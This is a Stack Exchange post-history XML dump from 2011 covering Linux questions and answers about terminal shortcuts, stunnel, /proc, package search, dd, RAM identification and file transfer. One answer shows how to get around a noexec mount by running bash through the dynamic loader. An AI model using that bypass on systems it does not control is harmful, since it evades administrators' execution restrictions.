http://www.unixgeeks.org/security/newbie/unix/cron-1.html" />
  <row Id="15735" PostHistoryTypeId="25" PostId="6842" RevisionGUID="85770134-4db6-4370-8b6e-885e6226e090" CreationDate="2011-02-03T08:16:27.943" Comment="http://twitter.com/#!/StackUnix/status/33076336490708993" />
  <row Id="15736" PostHistoryTypeId="5" PostId="6843" RevisionGUID="e37aed52-368d-48fb-b032-6631f7cb8689" CreationDate="2011-02-03T08:27:19.313" UserId="3169" Comment="added 1006 characters in body; added 184 characters in body" Text="Here's how I'd do it:&#xD;&#xA;&#xD;&#xA;  1. make your shell set the title to &quot;bash&quot; when at the prompt, and the name of the command when it runs a command, or anything so you can tell them apart&#xD;&#xA;  1. create a script that calls `wmctrl` to list open windows, then:&#xD;&#xA;      + if `wmctrl` finds a window with a title of &quot;bash&quot;, raise it&#xD;&#xA;      + else start an `xterm`&#xD;&#xA;  1. use `xbindkeys` to call that script when you press your shortcut&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**making your shell set the window title when you run a command**&#xD;&#xA;&#xD;&#xA;Here's a simplified version of how I do it in bash.  I haven't double checked the code, but it works on my machine.&#xD;&#xA;&#xD;&#xA;    # set the title when we run a command&#xD;&#xA;    setcommandhook()&#xD;&#xA;    {&#xD;&#xA;        if $has_debug_trap&#xD;&#xA;        then&#xD;&#xA;            trap 'command=$BASH_COMMAND; eval settitle &quot;\&quot;${title}\&quot;&quot;; trap - DEBUG' DEBUG&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # set the xterm title&#xD;&#xA;    settitle()&#xD;&#xA;    {&#xD;&#xA;        printf &quot;\033]0;$*\007&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    promptstring='$(hostname):$(pwd)$ '&#xD;&#xA;    title='$(hostname) &quot;${command:-$0}&quot;'&#xD;&#xA;&#xD;&#xA;    # prompt and window title&#xD;&#xA;    if test -n &quot;${title}&quot;&#xD;&#xA;    then&#xD;&#xA;        PROMPT_COMMAND='command=; eval settitle &quot;\&quot;${title}\&quot;&quot;'&#xD;&#xA;        if $has_debug_trap&#xD;&#xA;        then&#xD;&#xA;            PROMPT_COMMAND=&quot;$PROMPT_COMMAND; setcommandhook&quot;&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;    if test -n &quot;${promptstring}&quot;&#xD;&#xA;    then&#xD;&#xA;        PS1='$(eval echo -n &quot;\&quot;${promptstring}\&quot;&quot;)'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Doing it in `zsh` is easier, because it has the `preexec` hook.&#xD;&#xA;&#xD;&#xA;You can see [my shell configs][1] for more details, e.g. the `getcommand` function which handles commands like `fg` in a nicer way.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**raising the xterm that has a bash prompt otherwise starting a new one**&#xD;&#xA;&#xD;&#xA;Write a script that uses `wmctrl -l` to list windows, looking for one with `bash` in the title.  If one is found, then run `wmctrl -a &lt;id returned by wmctrl -l&gt;` to raise it, else just call `xterm`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**running the script when you press Win+R**&#xD;&#xA;&#xD;&#xA;Assuming your script is called `/usr/local/bin/bashprompt`, make a file `~/.xbindkeysrc` containing:&#xD;&#xA;&#xD;&#xA;    &quot;/usr/local/bin/bashprompt&quot;&#xD;&#xA;        Mod4 + r&#xD;&#xA;&#xD;&#xA;then run `xbindkeys`.  Add it to your `.Xclients` file or similar to make it start up automatically.&#xD;&#xA;&#xD;&#xA;  [1]: http://svn.mikelward.com/svn/conf/" />
  <row Id="15737" PostHistoryTypeId="2" PostId="6844" RevisionGUID="a458b03d-6a06-4284-bca8-59730332d55c" CreationDate="2011-02-03T08:57:34.817" UserId="3913" Text="Hi everyone,&#xD;&#xA;&#xD;&#xA;I'm wondering if anyone has configured https using [stunnel][1] without using apache or any web server. I will be using this to replace our hudson build system which currently is running via apache https (winstone is proxyed via apache) which is kind of heavy. &#xD;&#xA;&#xD;&#xA;I was the one who configured the apache https in our hudson build system but I can't seem to understand as to how to do it the stunnel way. &#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: ftp://ftp.stunnel.org/stunnel/" />
  <row Id="15738" PostHistoryTypeId="1" PostId="6844" RevisionGUID="a458b03d-6a06-4284-bca8-59730332d55c" CreationDate="2011-02-03T08:57:34.817" UserId="3913" Text="how do I configure stunnel to serve https" />
  <row Id="15739" PostHistoryTypeId="3" PostId="6844" RevisionGUID="a458b03d-6a06-4284-bca8-59730332d55c" CreationDate="2011-02-03T08:57:34.817" UserId="3913" Text="éwebserverà" />
  <row Id="15740" PostHistoryTypeId="5" PostId="6789" RevisionGUID="137a3cf5-d80f-4884-9eb3-6f97b2d28a56" CreationDate="2011-02-03T09:36:55.610" UserId="3069" Comment="edited body" Text="Do you have to use vlc? mplayer can usually work out a video dvd iso (or even a partial incomplete iso) contains mpeg streams well enough to play them without loopback mounting or complicated flags. Doing it this way means menus, subtitles, alternate soundtracks are unlikely to work tho.       &#xD;&#xA;&#xD;&#xA;    mplayer /path/to/dvd.iso " />
  <row Id="15741" PostHistoryTypeId="5" PostId="6842" RevisionGUID="287a6832-95de-46a5-875a-52e1925360ff" CreationDate="2011-02-03T09:39:47.700" UserId="3069" Comment="added 24 characters in body; edited tags" Text="Is it possible using fluxbox to setup up a shortkey to say &lt;kbd&gt;winkey&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt; that opens up a terminal (say `xterm` or whatever) with these properties:&#xD;&#xA;&#xD;&#xA; 1. If there is already a terminal that the working directory is = ~ and it is not currently running a command (i.e. its at the prompt) then show that one. &#xD;&#xA; 2. Or if not create a new terminal &#xD;&#xA;" />
  <row Id="15742" PostHistoryTypeId="6" PostId="6842" RevisionGUID="287a6832-95de-46a5-875a-52e1925360ff" CreationDate="2011-02-03T09:39:47.700" UserId="3069" Comment="added 24 characters in body; edited tags" Text="éscriptingàékeyboardöshortcutsàéfluxboxà" />
  <row Id="15743" PostHistoryTypeId="5" PostId="6844" RevisionGUID="fbb0aa66-1dda-4560-82b3-effd43dccad9" CreationDate="2011-02-03T09:42:11.217" UserId="3913" Comment="added sample run of stunnel" Text="Hi everyone,&#xD;&#xA;&#xD;&#xA;I'm wondering if anyone has configured https using [stunnel][1] without using apache or any web server. I will be using this to replace our hudson build system which currently is running via apache https (winstone is proxyed via apache) which is kind of heavy. &#xD;&#xA;&#xD;&#xA;I was the one who configured the apache https in our hudson build system but I can't seem to understand as to how to do it the stunnel way.&#xD;&#xA;&#xD;&#xA;Here's a sample run of stunnel in my CLI:&#xD;&#xA;&#xD;&#xA;    buggedtech~$ stunnel&#xD;&#xA;    Reading configuration from file /usr/local/etc/stunnel/stunnel.conf&#xD;&#xA;    Snagged 64 random bytes from /Users/icasimpan/.rnd&#xD;&#xA;    Wrote 1024 new random bytes to /Users/icasimpan/.rnd&#xD;&#xA;    PRNG seeded successfully&#xD;&#xA;    Using DH parameters from /usr/local/etc/stunnel/stunnel.pem&#xD;&#xA;    DH initialized with 512 bit key&#xD;&#xA;    ECDH initialized&#xD;&#xA;    Certificate: /usr/local/etc/stunnel/stunnel.pem&#xD;&#xA;    Certificate loaded&#xD;&#xA;    Key file: /usr/local/etc/stunnel/stunnel.pem&#xD;&#xA;    Private key loaded&#xD;&#xA;    SSL context initialized for service https&#xD;&#xA;    Configuration successful&#xD;&#xA;    Clients allowed=125&#xD;&#xA;    FD=8 in non-blocking mode&#xD;&#xA;    FD=9 in non-blocking mode&#xD;&#xA;    FD=10 in non-blocking mode&#xD;&#xA;    Option SO_REUSEADDR set on accept socket&#xD;&#xA;    Error binding https to ::1:443&#xD;&#xA;    bind: Permission denied (13)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: ftp://ftp.stunnel.org/stunnel/" />
  <row Id="15744" PostHistoryTypeId="2" PostId="6845" RevisionGUID="a6cb60cf-7220-485e-b5ef-77cac1370629" CreationDate="2011-02-03T10:40:46.743" UserId="29" Text="I'd like to use more about advanced uses of the `/proc` and `/sys` virtual filesystems. But I don't know where to begin, can anyone suggest any good sources to learn from? also since I think sys has regular additions, what's the best way to keep my knowledge current when a new kernel is released." />
  <row Id="15745" PostHistoryTypeId="1" PostId="6845" RevisionGUID="a6cb60cf-7220-485e-b5ef-77cac1370629" CreationDate="2011-02-03T10:40:46.743" UserId="29" Text="How do I learn what I can do with /proc and /sys" />
  <row Id="15746" PostHistoryTypeId="3" PostId="6845" RevisionGUID="a6cb60cf-7220-485e-b5ef-77cac1370629" CreationDate="2011-02-03T10:40:46.743" UserId="29" Text="élinuxàékernelà" />
  <row Id="15747" PostHistoryTypeId="2" PostId="6846" RevisionGUID="174ecea6-201b-4557-8c56-30eed8a7b948" CreationDate="2011-02-03T10:48:04.557" UserId="3913" Text="Thanks for the tip wag. I also realized that so I tried doing sudo and it now works! :)" />
  <row Id="15748" PostHistoryTypeId="25" PostId="6845" RevisionGUID="63972c4c-0652-4ae3-8282-e97e7223f43e" CreationDate="2011-02-03T11:16:28.270" Comment="http://twitter.com/#!/StackUnix/status/33121636324478976" />
  <row Id="15749" PostHistoryTypeId="2" PostId="6847" RevisionGUID="e6b4dfa2-4e61-44b6-8107-efb01610eeb2" CreationDate="2011-02-03T11:28:29.880" UserId="1131" Text="You can look into the documentation which comes with the kernel source. (possibly greping for proc/sys ...)" />
  <row Id="15750" PostHistoryTypeId="5" PostId="6847" RevisionGUID="778e753d-8dbe-4235-8aa0-0c6d595e71d7" CreationDate="2011-02-03T11:41:28.343" UserId="3069" Comment="added 239 characters in body" Text="You can look into the documentation which comes with the kernel source. (possibly greping for proc/sys ...).&#xD;&#xA;&#xD;&#xA;Located at `Documentation/filesystems`: [proc.txt][1] and [sysfs.txt][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.37/Documentation/filesystems/proc.txt&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.37/Documentation/filesystems/sysfs.txt" />
  <row Id="15751" PostHistoryTypeId="2" PostId="6848" RevisionGUID="f0737df9-fe9f-4206-ad6e-13b1a0c66d97" CreationDate="2011-02-03T12:03:59.473" UserId="2827" Text="The IBM DeveloperWorks library is a good place for articles like this. I didn't find anything directly applicable, but the 'Resources' section of a paper led me to this.  It has some good info...&#xD;&#xA;&#xD;&#xA;http://www.comptechdoc.org/os/linux/howlinuxworks/linux_hlproc.html" />
  <row Id="15752" PostHistoryTypeId="5" PostId="6839" RevisionGUID="31d6dcb0-85b3-430c-91e1-834432088d77" CreationDate="2011-02-03T13:36:41.053" UserId="3976" Comment="Make it clear that this is in the bashrc" Text="I like to have my bash prompt show the exit code of the previous command if it was non-zero.  I also like my shell to cheer me up when I use it, so I added a bit of silliness:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    smiley() {&#xD;&#xA;        RC=$?&#xD;&#xA;        [[ ${RC} == 0 ]] &amp;&amp; echo ':)' || echo &quot;:( ${RC}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    export PS1=&quot;\$(smiley) \h [\A] [\W] \$ &quot;&#xD;&#xA;&#xD;&#xA;so when I run commands, I get some nice visual feedback:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    :) mycomputer [23:03] [~] $ sh -c 'exit 0'&#xD;&#xA;    :) mycomputer [23:03] [~] $ sh -c 'exit 11'&#xD;&#xA;    :( 11 mycomputer [23:03] [~] $ &#xD;&#xA;&#xD;&#xA;**edit**: this is something I put in my ~/.bashrc" />
  <row Id="15753" PostHistoryTypeId="5" PostId="6845" RevisionGUID="d383eab2-e590-43ad-88c9-5e5a2548b76f" CreationDate="2011-02-03T14:06:20.960" UserId="688" Comment="grammar" Text="I'd like to know more about the advanced uses of the `/proc` and `/sys` virtual filesystems, but I don't know where to begin. Can anyone suggest any good sources to learn from? Also, since I think sys has regular additions, what's the best way to keep my knowledge current when a new kernel is released." />
  <row Id="15754" PostHistoryTypeId="25" PostId="6844" RevisionGUID="75ad43b4-661c-46cf-95d2-be9203960b67" CreationDate="2011-02-03T14:16:29.457" Comment="http://twitter.com/#!/StackUnix/status/33166939874398208" />
  <row Id="15755" PostHistoryTypeId="4" PostId="6842" RevisionGUID="bf4fdb03-fe33-47e2-9f56-8b2a4173f0db" CreationDate="2011-02-03T15:15:41.660" UserId="3169" Comment="make title more meaningful" Text="shortcut to open an xterm, or switch to existing one" />
  <row Id="15756" PostHistoryTypeId="24" PostId="6842" RevisionGUID="115029a0-572f-42e8-a228-6d743547c634" CreationDate="2011-02-03T15:15:41.660" Comment="Proposed by 3169 approved by 73 edit id of 7" />
  <row Id="15757" PostHistoryTypeId="4" PostId="6842" RevisionGUID="749ae785-6372-4818-903d-9227caeb7c3a" CreationDate="2011-02-03T15:16:02.470" UserId="73" Comment="edited title" Text="Fluxbox shortcut to open an xterm, or switch to an existing one" />
  <row Id="15758" PostHistoryTypeId="5" PostId="6826" RevisionGUID="df96c38c-878a-41ab-81bf-bbdddf67abe5" CreationDate="2011-02-03T15:23:10.757" UserId="3309" Comment="Typo because I context switched while typing." Text="The `noexec` flag will appropriately apply to scripts, because that would be the &quot;expected&quot; behavior.&#xD;&#xA;&#xD;&#xA;However, setting `noexec` only stops people who don't know enough about what they're doing. When you run `sh foo.sh` you're actually running `sh` from its default location (probably `/bin`) which is not on a filesystem mounted with `noexec`.&#xD;&#xA;&#xD;&#xA;You can even get around `noexec` for regular binary files by invoking `ld` directly.&#xD;&#xA;&#xD;&#xA;    cp /bin/bash $HOME&#xD;&#xA;    /lib/ld-2.7.so $HOME/bash&#xD;&#xA;&#xD;&#xA;This will run bash, regardless of wether or not it's on a filesystem mounted with `noexec`." />
  <row Id="15759" PostHistoryTypeId="2" PostId="6849" RevisionGUID="46fa388b-70ff-400e-a2e4-f6e95cf8ccad" CreationDate="2011-02-03T15:25:38.797" UserId="3976" Text="It appears that in recent versions of Fedora, there was an attempt to integrate a &quot;Media Repo&quot; with PackageKit, but there were enough bugs that it was left out of Fedora 14 ([this][1] for example).  It sounds like you're going to have to follow the directions mentioned in the other answers to either copy the packages locally or mount the ISO image as a loopback device, and set up yum file:// URLs to point a the packages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?id=610090" />
  <row Id="15760" PostHistoryTypeId="2" PostId="6850" RevisionGUID="b1406120-f31b-4cdf-b924-c3912a8dbfbb" CreationDate="2011-02-03T15:35:13.483" UserId="1131" Text="The [Debian][1]/[Ubuntu package search pages][2] are very useful to look up what version of a program is available in what distribution series, how programs are split along multiple packages etc.&#xD;&#xA;&#xD;&#xA;For example I want to investigate what version of `g++` is available in current Ubuntu:&#xD;&#xA;&#xD;&#xA;http://packages.ubuntu.com/search?keywords=g%2B%2B&amp;searchon=names&amp;suite=maverick&amp;section=all &#xD;&#xA;&#xD;&#xA;I directly see that the default version is 4.4.4, also available is 4.5.1. In Natty it is 4.5.1:&#xD;&#xA;&#xD;&#xA;http://packages.ubuntu.com/search?keywords=g%2B%2B&amp;searchon=names&amp;suite=natty&amp;section=all&#xD;&#xA;&#xD;&#xA;Via http://packages.ubuntu.com/natty/g++ you can browse coveniently through the dependencies and directly see which architectures are supported.&#xD;&#xA;&#xD;&#xA;You can also search the contents of the packages.&#xD;&#xA;&#xD;&#xA;For Fedora I've found&#xD;&#xA;&#xD;&#xA;https://admin.fedoraproject.org/pkgdb&#xD;&#xA;&#xD;&#xA;Searching for g++ returns nothing:&#xD;&#xA;&#xD;&#xA;https://admin.fedoraproject.org/pkgdb/acls/list/*g++*&#xD;&#xA;&#xD;&#xA;Ok, perhaps it is split differently:&#xD;&#xA;&#xD;&#xA;https://admin.fedoraproject.org/pkgdb/acls/list/?searchwords=*gcc*&#xD;&#xA;&#xD;&#xA;This yields results and it seems that there is only one big `gcc` package which includes `g++`:&#xD;&#xA;&#xD;&#xA;https://admin.fedoraproject.org/pkgdb/acls/name/gcc&#xD;&#xA;&#xD;&#xA;But this is not true. Using `yum search` on a Fedora 14 system yields:&#xD;&#xA;&#xD;&#xA;      gcc-c++&#xD;&#xA;&#xD;&#xA;(which includes g++)&#xD;&#xA;&#xD;&#xA;Without access to an actual Fedora system, do I really have to somehow expect this and browse down into the package git tree to get the same information? I mean like this:&#xD;&#xA;&#xD;&#xA;http://pkgs.fedoraproject.org/gitweb/?p=gcc.git;a=blob;f=gcc.spec;h=683faf0cb3d528bd53fe6a4024fda3e84cc986d0;hb=HEAD &#xD;&#xA;&#xD;&#xA;(and then search for '%package' ?)&#xD;&#xA;&#xD;&#xA;The https://admin.fedoraproject.org/pkgdb/acls/name/gcc shows me that a gcc package is available in Fedora 13 and 14 but it does not show:&#xD;&#xA;&#xD;&#xA;* the dependencies&#xD;&#xA;* the actual versions&#xD;&#xA;* the architectures&#xD;&#xA;* sub-packages&#xD;&#xA;&#xD;&#xA;Ok, I can see the versions via going to https://admin.fedoraproject.org/updates/gcc&#xD;&#xA;&#xD;&#xA;Thus my question: What is the Fedora equivalent to the Debian/Ubuntu package search pages?&#xD;&#xA;&#xD;&#xA;What do you use to look similar information up?&#xD;&#xA;&#xD;&#xA;And what about getting this kind of information for other rpm based distros like Cent OS or RHEL?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/distrib/packages&#xD;&#xA;  [2]: http://packages.ubuntu.com/" />
  <row Id="15761" PostHistoryTypeId="1" PostId="6850" RevisionGUID="b1406120-f31b-4cdf-b924-c3912a8dbfbb" CreationDate="2011-02-03T15:35:13.483" UserId="1131" Text="What is the Fedora equivalent to the Debian/Ubuntu package search pages?" />
  <row Id="15762" PostHistoryTypeId="3" PostId="6850" RevisionGUID="b1406120-f31b-4cdf-b924-c3912a8dbfbb" CreationDate="2011-02-03T15:35:13.483" UserId="1131" Text="éubuntuàédebianàéfedoraàépackageömanagementà" />
  <row Id="15763" PostHistoryTypeId="2" PostId="6851" RevisionGUID="fdd25431-05d9-4069-9576-e33799a3d1a5" CreationDate="2011-02-03T16:30:16.620" UserId="3976" Text="The Fedora PkgDB does have a search syntax so you could search for builds with /usr/bin/g++ in it by searching for `file:/usr/bin/g++` and click Builds.  Click on the blue (i) for more details.  The GCC package has several sub-packages, as described in the gcc.spec file you showed above, which has added to the confusion." />
  <row Id="15764" PostHistoryTypeId="25" PostId="6850" RevisionGUID="5a04627e-1ae2-46df-b462-c0921791e0ff" CreationDate="2011-02-03T17:16:30.060" Comment="http://twitter.com/#!/StackUnix/status/33212240937091072" />
  <row Id="15765" PostHistoryTypeId="5" PostId="6388" RevisionGUID="86d8b53f-03b7-443f-9994-cf2f2051093a" CreationDate="2011-02-03T17:29:14.667" UserId="688" Comment="edited body" Text="You might need to have user2 log out and back in (or just try ssh'ing in to create a new login session).  Check the output of `id --groups` to show the numeric group ids for a user." />
  <row Id="15766" PostHistoryTypeId="2" PostId="6852" RevisionGUID="7cbeaef0-71dc-40ba-82c6-7716654b36c5" CreationDate="2011-02-03T17:34:26.657" UserId="2913" Text="Today I had to remove the first 1131 bytes from an 800MB mixed text / binary file, a filtered subversion dump I'm hacking for a new repository. What's the best way to do this?&#xD;&#xA;&#xD;&#xA;To start with I tried&#xD;&#xA;&#xD;&#xA;    dd bs=1 skip=1131 if=filtered.dump of=trimmed.dump&#xD;&#xA;&#xD;&#xA;but after the skip this copies the remainder of the file a byte at a time, i.e. very slowly. In the end I worked out I needed 405 bytes to round this up to three blocks of 512 which I could skip&#xD;&#xA;&#xD;&#xA;    dd if=/dev/zero of=405zeros bs=1 count=405&#xD;&#xA;    cat 405zeros filtered.dump | dd bs=512 skip=3 of=trimmed.dump&#xD;&#xA;&#xD;&#xA;which completed fairly quickly but there must have been a simpler / better way? Is there another tool I've forgotten about? Thanks!" />
  <row Id="15767" PostHistoryTypeId="1" PostId="6852" RevisionGUID="7cbeaef0-71dc-40ba-82c6-7716654b36c5" CreationDate="2011-02-03T17:34:26.657" UserId="2913" Text="Best way to remove bytes from the start of a file?" />
  <row Id="15768" PostHistoryTypeId="3" PostId="6852" RevisionGUID="7cbeaef0-71dc-40ba-82c6-7716654b36c5" CreationDate="2011-02-03T17:34:26.657" UserId="2913" Text="éddà" />
  <row Id="15769" PostHistoryTypeId="2" PostId="6853" RevisionGUID="0caba9a8-1284-4df1-b53a-ab4739c39a92" CreationDate="2011-02-03T17:39:47.147" UserId="3447" Text="I use http://koji.fedoraproject.org&#xD;&#xA;&#xD;&#xA;I hadn't seen PkgDB before, so I can't say much about it.  Koji works well but the only caveat is that it shows packages that have been built and they aren't necessarily in the repository yet." />
  <row Id="15770" PostHistoryTypeId="2" PostId="6854" RevisionGUID="fe18a3d4-45a6-4e80-a42f-a2a9d73a3100" CreationDate="2011-02-03T17:42:56.863" UserId="1974" Text="I'd like to price some new RAM for our in-house VMware testing server. (It's a consumer box we use for testing our software on and running business VMs). I've forgotten what kind of RAM it has and I'd rather not reboot the machine and fire up memtest86+ just to get the specs of the RAM. Is there any way I can know what kind of RAM to buy without shutting down linux and kicking everyone off? E.G. is the information somewhere in `/proc`?" />
  <row Id="15771" PostHistoryTypeId="1" PostId="6854" RevisionGUID="fe18a3d4-45a6-4e80-a42f-a2a9d73a3100" CreationDate="2011-02-03T17:42:56.863" UserId="1974" Text="Can I identify my RAM without shutting down linux?" />
  <row Id="15772" PostHistoryTypeId="3" PostId="6854" RevisionGUID="fe18a3d4-45a6-4e80-a42f-a2a9d73a3100" CreationDate="2011-02-03T17:42:56.863" UserId="1974" Text="élinuxàémemoryàésystemöinformationà" />
  <row Id="15773" PostHistoryTypeId="5" PostId="934" RevisionGUID="2b2df485-abc8-4b15-b054-ff513fe1cd20" CreationDate="2011-02-03T17:43:45.953" UserId="688" Comment="rm needless quibble; improve question title" Text="It appears that the major package managers are (in no particular order) apt, yum, and pacman. But when it comes down to it, what is the difference? My understanding is that you can use any of them on any distribution, although every distribution appears to favor one over the other.&#xD;&#xA;&#xD;&#xA;So, my questions are: What are the core differences between the major package managers? Why should I consider one over the other?" />
  <row Id="15774" PostHistoryTypeId="4" PostId="934" RevisionGUID="2b2df485-abc8-4b15-b054-ff513fe1cd20" CreationDate="2011-02-03T17:43:45.953" UserId="688" Comment="rm needless quibble; improve question title" Text="How do major package managers differ?" />
  <row Id="15775" PostHistoryTypeId="2" PostId="6855" RevisionGUID="0e6c8fc7-74ad-41bf-97ec-b2a1bb50825a" CreationDate="2011-02-03T17:52:07.190" UserId="4441" Text="&#xD;&#xA;I know how I can send files to a folder /home on a remote server whose address is &quot;example.com.ex. &quot; do not understand how ssh know where is the file that I transfer.&#xD;&#xA;" />
  <row Id="15776" PostHistoryTypeId="1" PostId="6855" RevisionGUID="0e6c8fc7-74ad-41bf-97ec-b2a1bb50825a" CreationDate="2011-02-03T17:52:07.190" UserId="4441" Text="transfer files to a remote server using ssh in Linux" />
  <row Id="15777" PostHistoryTypeId="3" PostId="6855" RevisionGUID="0e6c8fc7-74ad-41bf-97ec-b2a1bb50825a" CreationDate="2011-02-03T17:52:07.190" UserId="4441" Text="élinuxàésshàéfileötransferàéscpà" />
  <row Id="15778" PostHistoryTypeId="2" PostId="6856" RevisionGUID="c70fe8b6-147a-4755-93fb-8a0527964cfb" CreationDate="2011-02-03T17:57:48.880" UserId="688" Text="Here's what `lshw -c memory` ([as root][1]) gives me:&#xD;&#xA;&#xD;&#xA;	  *-firmware              &#xD;&#xA;		   description: BIOS&#xD;&#xA;		   vendor: Acer&#xD;&#xA;		   physical id: 0&#xD;&#xA;		   version: V1.41 (01/07/08)&#xD;&#xA;		   size: 113KiB&#xD;&#xA;		   capacity: 960KiB&#xD;&#xA;		   capabilities: isa pci pcmcia pnp upgrade shadowing escd cdboot acpi usb agp biosbootspecification&#xD;&#xA;	  *-cache:0&#xD;&#xA;		   description: L1 cache&#xD;&#xA;		   physical id: 5&#xD;&#xA;		   slot: L1 Cache&#xD;&#xA;		   size: 64KiB&#xD;&#xA;		   capacity: 64KiB&#xD;&#xA;		   capabilities: asynchronous internal write-back&#xD;&#xA;	  *-cache:1&#xD;&#xA;		   description: L2 cache&#xD;&#xA;		   physical id: 6&#xD;&#xA;		   slot: L2 Cache&#xD;&#xA;		   size: 4MiB&#xD;&#xA;		   capacity: 4MiB&#xD;&#xA;		   capabilities: burst internal write-back&#xD;&#xA;	  *-memory&#xD;&#xA;		   description: System Memory&#xD;&#xA;		   physical id: 16&#xD;&#xA;		   slot: System board or motherboard&#xD;&#xA;		   size: 4GiB&#xD;&#xA;		 *-bank:0&#xD;&#xA;			  description: SODIMM DDR2 Synchronous 667 MHz (1.5 ns)&#xD;&#xA;			  product: SODIMM000&#xD;&#xA;			  vendor: Mfg 0&#xD;&#xA;			  physical id: 0&#xD;&#xA;			  serial: 1234-B0&#xD;&#xA;			  slot: M1&#xD;&#xA;			  size: 2GiB&#xD;&#xA;			  width: 64 bits&#xD;&#xA;			  clock: 667MHz (1.5ns)&#xD;&#xA;		 *-bank:1&#xD;&#xA;			  description: SODIMM DDR2 Synchronous 667 MHz (1.5 ns)&#xD;&#xA;			  product: SODIMM001&#xD;&#xA;			  vendor: Mfg 1&#xD;&#xA;			  physical id: 1&#xD;&#xA;			  serial: 1234-B1&#xD;&#xA;			  slot: M2&#xD;&#xA;			  size: 2GiB&#xD;&#xA;			  width: 64 bits&#xD;&#xA;			  clock: 667MHz (1.5ns)&#xD;&#xA;&#xD;&#xA;You'll be more interested in &quot;**System Memory**&quot; I'm sure. What I'm not sure about is if you want more than this.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root" />
  <row Id="15779" PostHistoryTypeId="2" PostId="6857" RevisionGUID="fea5b7dd-7f55-4a97-867f-0b90653c26cb" CreationDate="2011-02-03T18:01:21.480" UserId="3447" Text="There are a few methods.&#xD;&#xA;&#xD;&#xA;The simplest way if you're just transferring a file once in a while.&#xD;&#xA;&#xD;&#xA;    scp myfile.txt user@example.com:/home/user/&#xD;&#xA;&#xD;&#xA;`scp` stands for secure copy and it transfers over SSH.  &#xD;&#xA;There is also `sftp`&#xD;&#xA;&#xD;&#xA;    sftp user@example.com&#xD;&#xA;    &gt; cd /home/user/&#xD;&#xA;    &gt; put myfile.txt&#xD;&#xA;&#xD;&#xA;I guess the only real advantage to using this is that you can transfer multiple files without typing in your SSH password all the time.  (If you don't use a keyring that is)&#xD;&#xA;&#xD;&#xA;If you're going to be regularly transferring files take a look at `rsync`.  A simple usage of `rsync` might look like:&#xD;&#xA;&#xD;&#xA;    rsync mydir/ user@example.com:/home/user/&#xD;&#xA;&#xD;&#xA;But take a look at the man page as there are tons of options.&#xD;&#xA;&#xD;&#xA;Finally, there is a `sshfs`.  With this method you can mount an SSH server to your local filesystem like any other filesystem, then you can just copy files into it.&#xD;&#xA;&#xD;&#xA;    sshfs user@example.com:/home/user/ /mnt/ssh/&#xD;&#xA;    cp myfile.txt /mnt/ssh/" />
  <row Id="15780" PostHistoryTypeId="2" PostId="6858" RevisionGUID="b0816afa-7b97-48b4-840d-0606b71a2081" CreationDate="2011-02-03T18:11:11.307" UserId="3976" Text="You could try running (as root) `dmidecode -t memory`.  I believe that's what `lshw` uses (as described in the other Answer), but it provides information in another form, and `lshw` isn't available on every linux distro.  Also, in my case, dmidecode produces the Asset number, useful for plugging into Dell's support web site." />
  <row Id="15781" PostHistoryTypeId="2" PostId="6859" RevisionGUID="41f8a148-2789-4382-974c-7d99800bf87b" CreationDate="2011-02-03T18:22:11.663" UserId="688" Text="I'm looking for a reasonably up-to-date and conprehensive web page that documents differences in how to use different package managers, like:&#xD;&#xA;&#xD;&#xA;* **installation**&#xD;&#xA; *  apt-get: `apt-get install pkgname`&#xD;&#xA; * yum: `yum install pkgname`&#xD;&#xA; * blah: `blah install pkgname`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* **removal**&#xD;&#xA; *  apt-get: `apt-get remove pkgname`&#xD;&#xA; * yum: `yum erase pkgname`&#xD;&#xA; * blah: `blah get-rid-of pkgname`&#xD;&#xA;" />
  <row Id="15782" PostHistoryTypeId="1" PostId="6859" RevisionGUID="41f8a148-2789-4382-974c-7d99800bf87b" CreationDate="2011-02-03T18:22:11.663" UserId="688" Text="A page documenting usage of various package managers" />
  <row Id="15783" PostHistoryTypeId="3" PostId="6859" RevisionGUID="41f8a148-2789-4382-974c-7d99800bf87b" CreationDate="2011-02-03T18:22:11.663" UserId="688" Text="épackageömanagementà" />
  <row Id="15784" PostHistoryTypeId="2" PostId="6860" RevisionGUID="9878de3b-de7f-4ad1-9c20-c18d65f88435" CreationDate="2011-02-03T18:42:20.687" UserId="3069" Text="The ArchLinux wiki provides a [Rosetta Stone][1] for various package managers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Pacman_Rosetta" />
  <row Id="15785" PostHistoryTypeId="4" PostId="5600" RevisionGUID="04b6c35f-918e-45d7-8043-47a53bf713fe" CreationDate="2011-02-03T18:55:17.883" UserId="688" Comment="edited title" Text="How to make VLC play an iso file directly?" />
